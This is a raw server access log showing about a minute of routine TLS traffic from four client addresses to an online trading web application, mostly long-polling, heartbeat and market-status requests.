[09/Jan/2026:11:44:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930513034 HTTP/1.1" -
[09/Jan/2026:11:44:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930514761 HTTP/1.1" -
[09/Jan/2026:11:44:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930515087 HTTP/1.1" -
[09/Jan/2026:11:44:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930516735 HTTP/1.1" -
[09/Jan/2026:11:44:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930515313 HTTP/1.1" -
[09/Jan/2026:11:44:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930518099 HTTP/1.1" -
[09/Jan/2026:11:44:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930519795 HTTP/1.1" -
[09/Jan/2026:11:44:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930520150 HTTP/1.1" -
[09/Jan/2026:11:44:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:44:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930520386 HTTP/1.1" -
[09/Jan/2026:11:44:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930521867 HTTP/1.1" -
[09/Jan/2026:11:44:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:44:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930523161 HTTP/1.1" -
[09/Jan/2026:11:44:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930524838 HTTP/1.1" -
[09/Jan/2026:11:44:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930525204 HTTP/1.1" -
[09/Jan/2026:11:44:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:44:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:44:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930525452 HTTP/1.1" -
[09/Jan/2026:11:44:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930526997 HTTP/1.1" -
[09/Jan/2026:11:44:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930528223 HTTP/1.1" -
[09/Jan/2026:11:44:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930529884 HTTP/1.1" -
[09/Jan/2026:11:44:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:44:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930530265 HTTP/1.1" -
[09/Jan/2026:11:44:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930530526 HTTP/1.1" -
[09/Jan/2026:11:44:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930532186 HTTP/1.1" -
[09/Jan/2026:11:44:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:44:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:44:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930533285 HTTP/1.1" -
[09/Jan/2026:11:44:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930534928 HTTP/1.1" -
[09/Jan/2026:11:44:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930535333 HTTP/1.1" -
[09/Jan/2026:11:44:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930535551 HTTP/1.1" -
[09/Jan/2026:11:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930537308 HTTP/1.1" -
[09/Jan/2026:11:44:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930538339 HTTP/1.1" -
[09/Jan/2026:11:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:44:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930539961 HTTP/1.1" -
[09/Jan/2026:11:44:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930540395 HTTP/1.1" -
[09/Jan/2026:11:44:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930540589 HTTP/1.1" -
[09/Jan/2026:11:44:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930542366 HTTP/1.1" -
[09/Jan/2026:11:44:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930543405 HTTP/1.1" -
[09/Jan/2026:11:44:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930545014 HTTP/1.1" -
[09/Jan/2026:11:44:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930545455 HTTP/1.1" -
[09/Jan/2026:11:44:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930545663 HTTP/1.1" -
[09/Jan/2026:11:44:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930547416 HTTP/1.1" -
[09/Jan/2026:11:44:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930548472 HTTP/1.1" -
[09/Jan/2026:11:44:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930550059 HTTP/1.1" -
[09/Jan/2026:11:44:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930550523 HTTP/1.1" -
[09/Jan/2026:11:44:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:44:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:44:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930550738 HTTP/1.1" -
[09/Jan/2026:11:44:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930552580 HTTP/1.1" -
[09/Jan/2026:11:44:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930553534 HTTP/1.1" -
[09/Jan/2026:11:44:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930555094 HTTP/1.1" -
[09/Jan/2026:11:44:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930555578 HTTP/1.1" -
[09/Jan/2026:11:44:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:44:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:44:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930555805 HTTP/1.1" -
[09/Jan/2026:11:44:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930557715 HTTP/1.1" -
[09/Jan/2026:11:44:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:11:44:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930558598 HTTP/1.1" -
[09/Jan/2026:11:44:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930560125 HTTP/1.1" -
[09/Jan/2026:11:44:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:44:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930560643 HTTP/1.1" -
[09/Jan/2026:11:44:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930560890 HTTP/1.1" -
[09/Jan/2026:11:44:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:44:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930562860 HTTP/1.1" -
[09/Jan/2026:11:44:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:44:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930563660 HTTP/1.1" -
[09/Jan/2026:11:44:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930565154 HTTP/1.1" -
[09/Jan/2026:11:44:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930565710 HTTP/1.1" -
[09/Jan/2026:11:44:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930565947 HTTP/1.1" -
[09/Jan/2026:11:44:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930567933 HTTP/1.1" -
[09/Jan/2026:11:44:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930568731 HTTP/1.1" -
[09/Jan/2026:11:45:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:45:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:45:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930570187 HTTP/1.1" -
[09/Jan/2026:11:45:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930570770 HTTP/1.1" -
